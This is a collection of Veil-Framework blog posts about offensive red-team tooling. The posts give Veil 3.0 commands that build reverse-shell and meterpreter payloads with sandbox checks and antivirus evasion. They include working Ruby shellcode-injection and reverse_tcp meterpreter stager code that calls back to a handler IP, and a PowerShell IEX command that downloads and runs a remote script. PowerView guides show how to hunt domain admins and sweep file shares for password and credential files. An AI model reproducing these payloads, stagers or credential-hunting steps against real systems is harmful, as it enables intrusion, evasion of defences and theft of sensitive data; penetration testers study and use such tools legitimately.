Veil 3.0 Command Line Usage

Most Veil users will utilize Veil’s interactive menu to generate shellcode and/or Veil payloads. However, I expect while only a minority of users take advantage of the command line options, that they do so quite heavily. Therefore, I wanted to ensure that a command line interface exists for Veil in the event the user wants to script its usage (or for any other means). With Veil’s 3.0 release, some of the options are the same, but a few more command line options have been introduced to the tool, which I hope to explain here.

Ordnance

I’ll address how to use Ordnance within Veil all from the command line, this should (ideally) be fairly straightforward. In case you haven’t used Ordnance before, it is a tool that is used to quickly generate shellcode for a variety of payloads vs. relying on msfvenom to generate the shellcode for you.

./Veil.py -t Ordnance --list-payloads

This command tells Veil to list all payloads (–list-payloads) for the tool Ordnance (-t Ordnance).

./Veil.py -t Ordnance --list-encoders

This command tells Veil to list all encoders (–list-encoders) for the tool Ordnance (-t Ordnance).

./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

This command specifies to use Ordnance (-t Ordnance) and generate a reverse tcp payload (–ordnance-payload rev_tcp) which connects back to the ip 192.168.1.20 (–ip 192.168.1.20) on port 1234 (–port 1234).

./Veil.py -t Ordnance --ordnance-payload rev_http --ip 192.168.1.21 --port 1235 -e xor -b \\x13\\x98

This command specifies to use Ordnance (-t Ordnance) and generates a reverse http payload which connects back to the ip 192.168.1.21 (–ip 192.168.1.21) on port 1235 (–port 1235). The command then further specifies that an xor encoder should be applied (-e xor) and the bad characters \x13\x98 should be avoided (-b \\x13\\x98).

Evasion

Let’s go over a couple commands and I’ll explain their components:

./Veil.py -t Evasion --list-payloads

This command tells Veil to list all payloads (–list-payloads) for the tool Evasion (-t Evasion).

./Veil.py -t Evasion -p 33 --ordnance-payload rev_tcp --ip 192.168.1.3 --port 8675 -o christest

This command will actually generate an executable payload. It specifies that Evasion’s (-t Evasion) payload number 33 (-p 33) is selected by the user. For shellcode generation, use Ordnance’s rev_tcp payload (–ordnance-payload rev_tcp), and set the callback ip to 192.168.1.3 (–ip 192.168.1.3) and callback port to 8675 (–port 8675). Finally, name the output file christest (-o christest).

The main thing to note with this command is that it is using Ordnance for shellcode generation.

./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris

This command is fairly similar to the above command, but relies on msfvenom for generating shellcode. The command states to use Evasion’s (-t Evasion) payload number 41 (-p 41) and to generate windows/meterpreter/reverse_tcp shellcode via msfvenom with the callback IP set to 192.168.1.4 (–ip 192.168.1.4) and callback port set to 8675 (–port 8675). Finally, it names the output file chris (-o chris).

Now, what if you want to specify some of the required options for a payload? Here’s your answer!

./Veil.py -t Evasion -p 34 --ordnance-payload rev_tcp --ip 192.168.1.5 --port 8677 -o chrisout -c hostname=thegrid processors=2

This command specifies to use Evasion’s (-t Evasion) payload number 34 (-p 34) and have ordnance generate a reverse tcp payload (–ordnance-payload rev_tcp) with a callback IP set to 192.168.1.5 (–ip 192.168.1.5) with a callback port of 8677 (–port 8677). The output file is named chrisout (-o chrisout), and two checks are being specified. The payload will explicitly check to make sure the hostname of the system the payload is running on is “thegrid” (-c hostname=thegrid) and that there are at least two (2) processors on the system (processors=2). Yes, there is a space between hostname=thegrid and processors=2.

If you only wanted to check for the hostname, you would remove the processors=2 from the -c command (the command would now look like -c hostname=thegrid). Embedding basic checks, such as these, within your payload(s) can be useful when attempting to enumerate and avoid sandboxes.

./Veil.py --clean

Ideally, this one is self-explanatory. If you’ve created multiple payloads and just want to remove all the compiled output, source code, handler files, and tracked hashes, run this command and Veil will remove everything.

Hopefully this helps to explain Veil’s command line interface. However, if you have any questions, please don’t hesitate to reach out over twitter (@VeilFramework or @ChrisTruncer) and I’ll be happy to answer any questions. If you encounter any bugs, feel free to create a Github issue!

Posted on March 21, 2017 by Christopher Truncer 0

February 2016 V-Day

This February we have a few updates to Veil-Evasion. First, we’ve upgraded the version of PyInstaller that’s used by Veil-Evasion from pyinstaller 2 to 3.1. One extra feature that this allows is the ability to encrypt the bytecode that pyinstaller outputs. We’re using this feature by generating a random key each time Veil-Evasion runs and supplying that when using PyInstaller to convert the python code into a Windows executable.

The other modification to Veil-Evasion is I’ve added some obfuscation to the python payloads themselves. I’ve identified some areas where different AVs are trying to flag the python payloads, so this should help with some of the detection issues. Other possibly signatures have been found as well, but I’m waiting to see how AV companies respond to this new obfuscation.

Thanks, hope that this can help, and good luck! #avlol

Posted on February 16, 2016 by Christopher Truncer 1

Honor Amongst Thieves – Building Trust in Veil-Evasion Payloads

Anytime that a professional pen tester, or red teamer, uses a tool on an assessment, your customer is trusting you to not introduce additional vulnerabilities into their network. When you create a backdoor through Veil-Evasion, or any other payload generator, you need to be sure that the payload you are creating connects back to you and only you. So how can you ensure that the payloads generated by Veil-Evasion only connects to where it is explicitly specified to connect to? One way would be to perform a complete source code review of Veil-Evasion and perform an environmental analysis of the generated payload. This method would provide the highest level of assurance.

There is also another way. There are a number of scripts that can be used to extract the Python source code from a PyInstaller executable. One such script is called PyInstaller Extractor and written by extremecoders. This script will extract all files within the PyInstaller executable, including the Python source code. We can then compare the extracted Python source code with the source code file that’s created alongside of the PyInstaller executable when using Veil-Evasion. The two Python source code files will match up and prove that there is not any additional code added inside the “compiled” payload, thus the original source code output can be reviewed and trusted as being the actual source code in the resulting payload. Ironically, as long as the original source code is reviewed and understood to be non-malicious, then you can trust Veil-Evasion payloads. So, let’s get along with proving this!

Note: This article only discusses PyInstaller payloads.

First, download the PyInstaller Extractor script and place it in the same directory as your Python payload. Call the PyInstaller Extractor script and pass the Veil-Evasion payload in as the script’s only option. The script will now extract the files from the PyInstaller executable. When you ls you should see the different files that were contained within the payload.

Extracted Payload

In this case, since the payload we are looking at was named veilpayload.exe, the extracted file we are looking for is therefore veilpayload. The veilpayload file contains the Python code that is carried out when running the original executable. Now, lets perform a comparison of the source code output from Veil-Evasion, and the extracted source code.

Original Source Code

Original Source Code Output from Veil-Evasion

Extracted Python Code

Extracted Source Code from Veil-Evasion Payload

Performing a quick visual check against the two scripts shows that they are virtually identical outside of small formatting differences and the additional null byte at the end of the extracted source code. Performing a diff of the two files also verifies this information.

Scripts diffed

In retrospect, this probably should have been among the first few published posts since Veil-Evasion’s initial release. However, hindsight is always 20/20, so we’re happy we’re able to provide some level of assurance that your Veil-Evasion payloads aren’t backdoored in any way. Please feel free to follow the steps outlined in this blog post to verify for yourself. If you have any additional questions, feel free to hit us up on Twitter, Github, E-mail, or on Freenode in #veil!

Posted on October 3, 2014October 3, 2014 by Christopher Truncer 1

A Year of V-Days

Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.

Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.

Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.

Ruby Modules

The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:

require 'rubygems'
require 'win32/api'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# our shellcode
payload = "\xfc\xe8\x89..."

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:

require 'rubygems'
require 'win32/api'
require 'socket'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# needed to translate a ruby socket into an actual system file descriptor / socket num
get_osfhandle = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')

# connect to our handler
s = TCPSocket.open('192.168.52.150', 4444)

# read/decode the size of the metepreter payload being transmitted
payloadLength = Integer(s.recv(4).unpack('L')[0])

# 5 spaces -> 1 byte for ASM code, 4 byes for socket descriptor (below)
payload = "     "

# make sure we get all of the meterpreter payload
while payload.length < payloadLength payload += s.recv(payloadLength) end #prepend a little assembly to move our SOCKET value to the EDI register # BF 78 56 34 12 => mov edi, 0x12345678
payload[0] = ['BF'].pack("H*")
socketID = get_osfhandle.call(s.fileno)

# copy in the underlying socket ID into the buffer
for i in 1..4
payload[i] = Array(socketID).pack('V')[i-1]
end

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.

Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well :)

With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.

A .NET Crypter

Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:


Assembly a = Assembly.Load(bytes);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), null);

We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:

Ubuntu Compatibility

One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that @TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!

If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.

If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:

If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:

When you hit this screen, tab over to <Yes> to accept the EULA:

And when you his this screen, click Yes to overwrite the existing files:

Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :

After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.

Thanks again to everyone for all their support. We’re looking forward to another great year of releases.

Posted on September 15, 2014 by Harm J0y 2

Searching User Properties with Veil-PowerView

A few months ago, @obscuresec published a post on finding and extracting custom user properties in Active Directory using PowerShell. Veil-PowerView 1.4 added some cmdlets that integrated (read: shamelessly stole :) some of this functionality, and I wanted to briefly cover how to utilize these new methods.

As Chris states in his post, “Since most administrators interact with AD with a MMC snapin, they mistakingly believe that custom fields can’t be viewed by other user“. To enumerate all custom fields from user AD objects with Veil-PowerView, use the Get-UserProperties function:

PS C:\> Get-UserProperties

This will dump out all the fields for user objects. If you want to extract out all users/values for a particular field, use the -Properties flag with one or more property names:

PS C:\> Get-UserProperties -Properties description,info

If you want to search particular fields for wildcard terms, Invoke-UserFieldSearch will take care of that for you. It defaults to searching the ‘description’ field for ‘*pass*’. If you want to search another field, say for something custom you found from Get-UserProperties, just supply the field and terms you want:

PS C:\> Invoke-UserFieldSearch -Field info -Term backup

You’d be surprised as to the information you can find in Active Directory, even from non-privileged/basic user accounts :)

Posted on September 8, 2014 by Harm J0y 1

Hunting for Sensitive Data with the Veil-Framework

Data mining available file shares for sensitive data is a staple of red teaming. We’ve found everything from password lists, to full employee directories, salary information, network diagrams and more, all due to network shares with incorrectly configured permissions. Veil-PowerView has a few functions (Invoke-Netview and Invoke-Sharefinder) that have helped us quickly find and explore shares our current user has access to. I’ve talked in the past about using Powershell to triage file servers during engagements, and realized that robust, recursive file listing would make a great addition into PowerView. Those two functions (Invoke-SearchFiles and Invoke-FileFinder) were recently added, and I wanted to demonstrate how this new functionality can help you find sensitive files on the network as quickly as possible.

Invoke-ShareFinder has had its output recently reworked so it spits out any “\\HOST\share – COMMENT” found, instead of the status output similar to Invoke-Netview. The reason for this is to easily chain together Invoke-ShareFinder and Invoke-FileFinder, while preserving as much information we might want as possible. Here’s how I usually run sharefinder:

PS C:\> Invoke-ShareFinder -Ping -CheckShareAccess -Verbose | Out-File -Encoding ascii found_shares.txt

This will query AD for all machine objects, ping each one to ensure the host is up before enumeration, check each found share for read access, and output everything to found_shares.txt. The -Verbose flag gives some status output as it chews through all the retrieved servers, and the output will look something like this:

\\WIN2K8.company.com\MSBuild 	- test
\\WIN2K8.company.com\NETLOGON 	- Logon server share 
\\WIN2K8.company.com\SYSVOL 	- Logon server share 
\\WIN2K8.company.com\test 	- 
\\WIN2K8.company.com\Users 	- User share
\\WINDOWS7.company.com\secret	- don't look here
...snip...

I’ll save off an original copy of the file off for reference, and then will glance over the output, manually trimming out certain shares that seem like they likely won’t be interesting. I can then feed that output file straight into Invoke-FileFinder. This will recursively search given shares for sensitive files:

PS C:> Invoke-FileFinder -ShareList .\found_shares.txt -OutFile found_files.csv

This will take the share input list from sharefinder and recursively list each share, filtering for files with ‘*pass*’, ‘*sensitive*’, ‘*admin*’, ‘*secret*’, ‘*login*’, ‘*unattend*.xml’, ‘*.vmdk’, ‘*creds*’, or ‘*credential*’ in the file name. Anything found is then output to a CSV with the full path, owner, last access time, last write time, and length. If I want/need to search for other terms, I’ll use something like this:

PS C:> Invoke-FileFinder -ShareList .\found_shares.txt -OutFile found_files.csv -Terms payroll,CEO,…

This will replace the default terms with the wildcarded terms specified. If you want to run Invoke-FileFinder without enumerating shares ahead of time, the following function will query AD for active machines like the rest of PowerView’s Invoke-* cmdlets. It will then enumerate all shares it finds, excluding C$ and ADMIN$ by default (these can be included with the -IncludeC and -IncludeAdmin flags). I still advise running Invoke-ShareFinder first and pruning your results a bit for speed reasons, but kicking off the following command will find everything sensitive it can in the network:

PS C:> Invoke-FileFinder -OutFile all_files.csv -Verbose

There are several more flags available, including filters for office documents, last creation/write/access times, etc. Check out Invoke-FileFinder’s function documentation if you’re interested in more of the options:

Happy hunting :)

Posted on July 22, 2014July 22, 2014 by Harm J0y 2

Veil-PowerView: A Usage Guide

[Note: this topic was cross-posted on my personal blog]

Veil-PowerView is a project that was originally prompted by a client who locked down their corporate machines by disabling all “net *” commands for normal users. While building pure Powershell replacements to easily bypass this protection, I began to explore what else could be done with Powershell from a domain and network situational awareness perspective. Being inspired by my boss @davidpmcguire, and drawing on existing work from @mubix, the offensive Powershell community (@obscuresec, @mattifestation, and DarkOperator), and the authors of various Metasploit modules like local_admin_search_enum, I began to build more interesting functionality to abuse Windows domains. Now that Veil-PowerView has been tested in multiple, diverse environments and has started to mature a bit, I wanted to put together a quick guide on using some of PowerView’s interesting functionality.

First, some basic usage: to get the most out of PowerView, you need a current Windows workstation with domain credentials. The credentials don’t need to be privileged, as many of the API methods abused by the tool only need basic user access. To load up PowerView, first download the raw powerview.ps1 script to a local location, and then launch Powershell:

C:> powershell.exe -nop -exec bypass

Then import the PowerView module with the following:

PS C:\> Import-Module [full path to powerview.ps1]

All of the PowerView cmdlets will now be exposed and tab completable (Invoke-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Invoke-Netview -full“. To get a list of all the available functions, check the README.md. Arguments/flags for each cmdles should be tab completable, with something like “Invoke-Netview -[tab]”. If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ”PS C:\> Invoke-Netview | Out-File -Encoding ASCII output.txt” (the -encoding flag is used since since Powershell defaults to Unicode). If you want detailed output for any of the PowerView commands, just add a “-Debug” flag, and if you want status output for any functions that enumerate multiple machines use “-Verbose”.

Now, on to the fun stuff. PowerView provides replaces for almost all Windows net commands, letting you query users, machines, domain controllers, user descriptions, share, sessions, and more. The Get-Net* cmdlets should cover most of your needs. For example, the Get-NetComputers cmdlet will let you search for all systems in the domain, and you can provide wildcard searches for the -HostName, -OperatingSystem, and -ServicePack. If you want to use this find all Windows XP boxes on the domain, run:

PS C:\> Get-NetComputers -OperatingSystem *xp*

Since we can search for operating systems and service packs, let’s take this one step further. How about finding all machines likely vulnerable to MS08-067, ping them and return any hosts that are up? There’s a function for that:

PS C:\> Invoke-FindVulnSystems -Ping

One of the common things we do on assessments is check for overly permissive file shares that our current user can read. This used to be a pretty manual process, but now we can automate it easily. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, get a list of available shares for each machine using Get-NetShare, exclude PRINT$ and IPC$ from the output, and check if the current user has read access:

PS C:\> Invoke-ShareFinder -Ping -ExcludePrint -ExcludeIPC -CheckShareAccess

Invoke-Netview is a port of Rob Fullers’s netview.exe tool. It uses native Windows API commands to get the sessions, shares, and loggedon users for target machines, often without needing administrative credentials. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, and wait for a delay of 10 seconds between touching each machine:

PS C:\> Invoke-Netview -Ping -ExcludeShares -Delay 10

A really useful thing on an assessment is to know where particular users are logged in. Say you compromise a user that has administrative access to local desktops on a domain. You can use functionality in PowerView to find where high value users (default “Domain Admins”) are logged in, and can even check if you have local admin on the found machines! The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, query AD for members of the “Domain Admins” group, and then check if any users currently logged in/have a sessions on a machine match the target user list. Locations where Domain Admins are located are then displayed:

PS C:\> Invoke-Userhunter -Ping

If you want to hunt for a specific user or userlist, or use a pre-populated host list instead of querying AD, there are flags for those actions as well:

PS C:\> Invoke-UserHunter -UserName “jsmith” -HostList hosts.txt

An even stealthier way to find where target users are located is to find all the file servers mounted by users from their homeDirectory fields, and run a Get-NetSessions command on the found file servers. This will give you a large amount of information on most corporate networks with a minimal amount of traffic! Invoke-StealthUserHunter can automate all of this for you nicely:

PS C:\> Invoke-StealthUserhunter -GroupName “Server Admins”

There are plenty of more functions and options in Veil-PowerView than what we covered here: I encourage you to check out PowerView’s README.md as well as the descriptive comments for each cmdlet in the source which detail use cases, arguments and outputs for each function.

If you need to invoke PowerView in a non-interactive context, there are a few additional launching options. If you know the function and arguments you want to run (like Invoke-Netview) you can append the function name to the end of the PowerView file and run it with:

C:\> powershell.exe -nop -exec bypass .\powerview.ps1 > output.txt

You can also run it straight without any script modifications with:

C:\> powershell.exe -exec bypass -Command “& {Import-Module .\powerview.ps1; Invoke-Netview | Out-File -Encoding ascii output.txt}”

If you want to invoke everything without touching disk, use something like this:

C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mYPUO4’); Invoke-NetView -Ping | Out-File -Encoding ascii netview.txt“

There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append the desired function and any arguments (i.e. “Invoke-StealthUserHunter”) to the end of powerview.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.

If you have any questions on PowerView, hit me up at will [at] harmj0y.net, on twitter at @harmj0y, Freednode (harmj0y in #veil or #armitage), submit an issue on the official Github page, or come check out the Veil-Framework at BlackHat Arsenal.

Posted on June 27, 2014 by Harm J0y 4

Veil-PowerView v1.4

Veil-PowerView has gone through another large set of modifications, resulting in its versioning to 1.4. Here are the changes in no particular order:

Get-UserProperties was built, stealing directly from @obscuresec‘s great post on the topic located here. Related, Invoke-UserDescSearch was expanded and changed to Invoke-UserFieldSearch, which now allows you to specify the user field to search for wildcard terms. We’ll have a post up soon on using these methods together.
Get-NetGroupUsers was combined into Get-NetGroup for standardization.
The -Debug flag for meta-functions now replaces the old -Verbose functionality, with the -Verbose flag now outputting a status for when several machines are processed.
Invoke-Sharefinder had serveral additional exclusion options added and its output changed to just spit out raw share paths.
Set-MacAttribute was added in from Powersploit- see @obscuresec‘s post on the topic on his blog. Invoke-CopyFile automatically invokes this when replacing files in order to match a target’s MAC properties.
Invoke-SearchFiles was added, which recursively searches a local or remote network path for files with various specifications. Terms can be specific, MAC attributes filtered one, and more – check out the source for complete flags and options.
Invoke-FileFinder was added, which utilizes Invoke-SearchFiles to crawl the network for target data. Lots of flags here too.
Several methods were added that attempt to enumerate local machine information: Get-NetLocalGroups to get local groups on a target, Get-NetLocalGroup to get members of a local group, and Get-NetLocalServices to enumerate local services.
Invoke-HostEnum was added, which will run all available host enumerate functions on a single target (note: this potentially produces a good chunk of data, just for a single host).
A lingering bug was finally fixed that would crash execution of some of the meta-functions when executed against large numbers of machines, usually in the 2000-4000 range. Have to be careful of those access violations when playing with raw memory and API access :)

Thanks again to @obscuresec for posting some great Powershell information that I shameless stole and integrated into PowerView – all credit to Chris for coming up with those ideas. We’re also going to have a few PowerView posts coming up in the next few weeks, including a usage guide, information on abusing user description fields, and an exe trojanation guide. Oh, and the Veil-Framework was recently accepted to Blackhat Arsenal– come stop by to talk about all the tools in the framework, including a new post-exploitation tool being released at Defcon.

Posted on June 20, 2014 by Harm J0y 0

The State of the Veil-Framework

Today, 1 year ago, Veil was publicly released, and it’s humbling to look at how far we’ve come since then.

When we initially released Veil, it was a single flat 538-line file that only contained 7 different payloads. Thanks to the hard work of @harmj0y and @themightyshiv, Veil was expanded into a fully functional framework with significantly expanded capabilities, and the AV-evasion component was renamed Veil-Evasion. With the release of Veil-Catapult and Veil-PowerView, we’ve started looking beyond just the problem of antivirus towards other offensive areas. Our continuing goal with the Veil-Framework is to maintain an open-source toolkit that spans particular gap areas we’ve encountered.

Veil-Evasion originally supported only three different payload shellcode-injection options, Meterpreter’s reverse_tcp, reverse_http, and reverse_https payloads. As of Veil-Evasion 2.0, all Windows payloads from the Metasploit tree are now loaded and available for use within any */shellcode_inject/* payload. Our payload releases then moved beyond just shellcode injectors with the release of native Meterpreter tcp and http[s] stagers, and we soon started a continual payload release cycle name VDay. We’ve debated disclosure, introduced some auxiliary modules, released a Python obfuscator named Pyherion, and recently integrated a generator for obfuscated Pyinstaller loaders named Pwnstaller. We showed you how to easily check if your payloads have been submitted to Virustotal, integrated Veil-Evasion with Cortana, and got a proper logo. Along the way we’ve had the honor of presenting at Shmooon, CarolinaCon, and soon Defcon. Oh, and we just got our own McAfee signature :)

The framework structure now allows anyone to expand or modify the existing codebase. New payload generation modules (public or private) can be dropped into an appropriate language folder and will be automatically loaded up by the framework. We have a lot of existing functionality you can draw on for development of private payload modules, a template located in the tree at ./modules/payloads/template.py, and a tutorial on payload development posted here.

So, we’re a year in now, but where do we go from here? We have a couple of goals we hope to achieve:

Port msfvenom to Python – We use MSF’s msfvenom for shellcode generation in the shellcode_inject modules when code isn’t supplied by the user. Being dependent on a third party tool can cause occasional issues, e.g. when the output of msfvenom was modified and a variety of our payloads would crash on execution. Porting msfvenom to Python will allow us to have complete control of the output, and any changes to the tool would be controlled by the Veil Development team, allowing us to account for the changes within the framework.

Research – We have a reasonable chunk of private research that’s been feeding our VDay releases. We currently have enough to continue VDay into next year, with some cool stuff hitting in the next few months. We’re keeping on our research efforts and hope to be releasing for a while :)

New tool development – We keep building tools to span whatever gap areas we see. The newest tool in development by @harmj0y is a post-exploitation framework named Veil-Pillage, and will be presented on at Defcon.

All that’s really left to say is thanks. We started off creating this project for our own use, but we soon realized we should try to give something back to the industry by making Veil publicly available. The community uptake and use of Veil has been nothing but humbling for all of us. Never did we expect so many people to hear of and use Veil, let alone have it be added to Kali Linux. There have been blog posts, how-to videos, and more developed by the community which showcase the framework and talk about how it’s been successfully used. For all the kind words and support, we thank you.

As always, if anyone ever has any questions on framework modifications, ideas for techniques or modules, or just wants to bounce offensive ideas off of someone, please feel free to get in touch with us. These tools are something we’re genuinely passionate about, and we love talking about new techniques, ways to get better, or simply helping others. We’re just a quick forum post, e-mail, tweet, or IRC message away (#veil on Freenode!).

Thanks for a great first year, and we hope to have many more. Don’t get caught!

#avlol

Posted on May 30, 2014May 30, 2014 by Christopher Truncer 1

Carolinacon Wrapup

This past Saturday the Veil development team presented at CarolinaCon X on the Veil-Framework. It was a great experience, and we want to thank the organizers again for having us out. Our presentation was an adaptation of the one given at Shmooon 2014, with material added in for Veil-PowerView. This slides are posted here and the video was uploaded here. Thanks again to CarolinaCon, the conversations and beers we shared, and all the great feedback we got while there!

Posted on May 20, 2014May 28, 2014 by Harm J0y 0

Veil – Framework